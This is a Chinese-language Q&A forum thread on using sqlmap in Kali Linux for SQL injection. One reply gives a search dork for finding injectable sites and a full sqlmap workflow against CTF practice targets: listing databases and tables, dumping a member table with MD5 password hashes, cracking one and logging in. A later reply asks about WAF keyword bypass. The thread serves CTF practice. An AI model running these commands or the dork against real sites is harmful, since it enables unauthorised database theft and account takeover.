最近安裝了個kali linux虛擬機,想用里面的一個SQLmap軟體做SQL注入,各位大佬麻煩看一下,最好給一個源代碼
uj5u.com熱心網友回復:
SQLmap怎么做SQL注入啊!江湖救急啊!!!!!!uj5u.com熱心網友回復:
搜索目標網站:百度:inurl:asp?=id=1sqlmap -u "url"
sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1"
sqlmap -u "url" --dbs
sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dbs
sqlmap -u "url" -D databasename --tables
sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables
sqlmap -u "url" -D dbname -T -tablename --columns
sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T news --cloumns
www.mozhe.cn 注入練習:
view source:219.153.49.228:48399=>new_list.php?id=1
sqlmap -u http://219.153.49.228:48399/new_list.php?id=1 --dbs(scan db)
available database:information_scheme,mysql,performance_schema,stormgroup,test;
web:php5.6.39,mysql>=5.0.0
sqlmap -u http://219.153.49.228:48399/new_list.php?id=1 -D stormgroup --tables(detect all tables,可以選擇多個執行緒加快速度)
=》member,notice
sqlmap -u http://219.153.49.228:48399/new_list.php?id=1 -D stormgroup -T member --dump(匯出資料表內容)
=》name,password,status:
+-------+--------+----------------------------------+
| name | status | password |
+-------+--------+----------------------------------+
| mozhe | 0 | 3114b433dece9180717f2b7de56b28a3 |
| mozhe | 1 | b2408366889e147e847ddb81c7d0004d |
+-------+--------+----------------------------------+
md5crack mozhe 1:502550,輸入后登陸,獲得key:
uj5u.com熱心網友回復:
很詳細,謝謝!!uj5u.com熱心網友回復:
不過用SQLMAP做sql注入的話,怎么繞過CTF題目中的WAF保護,例如關鍵字繞過
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/24772.html
標籤:云安全
上一篇:Python在使用img2pdf 出現AttributeError: module 'img2pdf' has no attribute 'convert'
